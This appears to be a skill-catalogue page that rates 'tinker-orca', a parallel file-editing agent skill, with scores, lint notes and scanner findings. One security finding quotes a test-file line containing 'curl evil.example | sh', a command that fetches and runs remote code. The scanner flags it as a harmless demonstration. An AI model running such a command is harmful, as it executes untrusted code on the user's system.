SKILLEMALL.ai

AC tinker-orca

Прекратите редактировать файлы по одному. ORCA создает все изменения параллельно, а затем применяет их последовательно по файлам, чтобы разрозненные файлы работали быстро, а общие файлы никогда не конфликтовали. Он ЗАПУСКАЕТ ПОД-АГЕНТОВ на вашем собственном провайдере (по одному на единицу, что стоит денег) и записывает ТОЛЬКО файлы, указанные вами относительно репозитория — белый список, принудительно применяемый в коде, а не запрашиваемый в подсказке, и начиная с версии 1.2.1, поддерживаемый проверкой реального пути на диске, чтобы компонент пути, на который указывает символическая ссылка, не мог вывести запись за пределы репозитория. Коммит перезаписывает историю git и требует commit И confirmedCommit; он ВЫКЛЮЧЕН по умолчанию и никогда не подразумевается. В режиме по умолчанию он создает git worktree и ветку для каждой группы единиц и удаляет их впоследствии. Он запускает внешнюю программу ТОЛЬКО тогда, когда вы передаете ее абсолютный путь В ВЫЗОВЕ — ни одна переменная окружения не может назвать ее. См. Разрешения, Поток данных и Согласие.

машинный переводПоказать оригиналСкрыть оригинал«Stop editing files one at a time. ORCA drafts every change in parallel…»

Stop editing files one at a time. ORCA drafts every change in parallel, then applies them per-file-serialized so disjoint files fly and shared files never collide. It SPAWNS SUBAGENTS on your own provider (one per unit, which costs money) and writes ONLY the repo-relative files you list — an allowlist enforced in code, not requested in a prompt, and since 1.2.1 backed by a realpath check on disk so a symlinked path component cannot carry a write outside the repository. Committing rewrites git history and needs commit AND confirmedCommit; it is OFF by default and never inferred. In its default mode it creates a git worktree and branch per unit-group and removes them afterwards. It runs an external program ONLY when you pass its absolute path IN THE CALL — no environment variable can name one. See Permissions, Data Flow and Consent.

ClawHub Agent Skills автор: Oscar Serra v1.2.1 MIT-0 4 файла тело ≈ 2 654 токенов Открыть источникclawhub.ai проанализирован 2 дн назад

Прекратите редактировать файлы по одному.

Как процесс C 63/100 · Есть пробелы — слабые места: результат и критерий готовности, когда включается, повторный запуск

ГенераторРазработкатип и темы размечены автоматически по тексту скилла
JSON
Технический рейтинг
A
92/100
безопасность, качество, тесты
Безопасность 60%
99
Качество 40%
82
Прогон на моделях
не было
Процессный рейтинг
C
63/100
Есть пробелы
Результат и критерий готовности вес 14
0
Когда включается вес 12
20
Повторный запуск вес 4
30
три самых слабых из десяти параметров · все десять

Как улучшить

    Для прогона на моделях — необязательно
    • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
    • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

    Находки guard · 1

    ✓ Критических и высоких находок нет

    Средние и низкие: 1
    • низкая Опасные команды cmd-pipe-to-shell scripts/selftest.mjs:121
      Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строковый литерал в коде, не выполняется; демонстрация атаки / пример; тестовый файл / пример)
      ['raw verify not opted in',  { repoRoot: REPO, units: [unit()], verifyHint: 'curl evil.example | sh' }],
      строка в кодедемонстрациятестовый файл

    Просканировано файлов: 4. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

    По спецификации Agent Skills

    • заметка frontmatter-key неизвестное поле фронтматтера "repository"
    • заметка frontmatter-key неизвестное поле фронтматтера "homepage"

    Процессный рейтинг: все десять параметров 63/100

    • 0Результат и критерий готовности. Не сказано, что считать результатом
    • 20Когда включается. Не сказано, при каком запросе скилл включается
    • 30Повторный запуск. Изменяющих операций: 20, без проверки текущего состояния
    • 60Инструменты и файлы. Используются инструменты (bash), но во frontmatter они не объявлены
    • 70Входы и предусловия. Входные данные и предусловия перечислены
    • 100Шаги. Шагов: 5
    • 100Ошибки и развилки. Развилок: 2, есть раздел про ошибки
    • 100Согласованность. Имя и обязательные поля на месте
    • 100Стоимость исполнения. Тело инструкции 2654 токенов
    • 100Отчётность по ходу. Скилл сообщает о ходе работы

    Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

    Сигналы качества

    • +5В description нет примеров фраз, по которым скилл должен срабатывать
    • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
    • +3Длина description 842: рекомендуется 120–800 символов
    • +3Формат ответа не описан: модель каждый раз решает сама
    • +1Лицензия не указана
    • +2Инструкции на одном языке
    • +4Структура: 9 заголовков
    • +3Пошаговые инструкции: 5 пунктов
    • +4Есть примеры (2 блоков кода)
    • +3Все 2 скриптов описаны в инструкциях

    База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 82.

    Внешние проверки

    ClawHub: suspicious
    This is a real parallel coding workflow, but its strongest write-safety claim depends on spawned agents following instructions rather than trusted enforcement.
    LLM: suspicious (high) · 9 сент. 2026 г.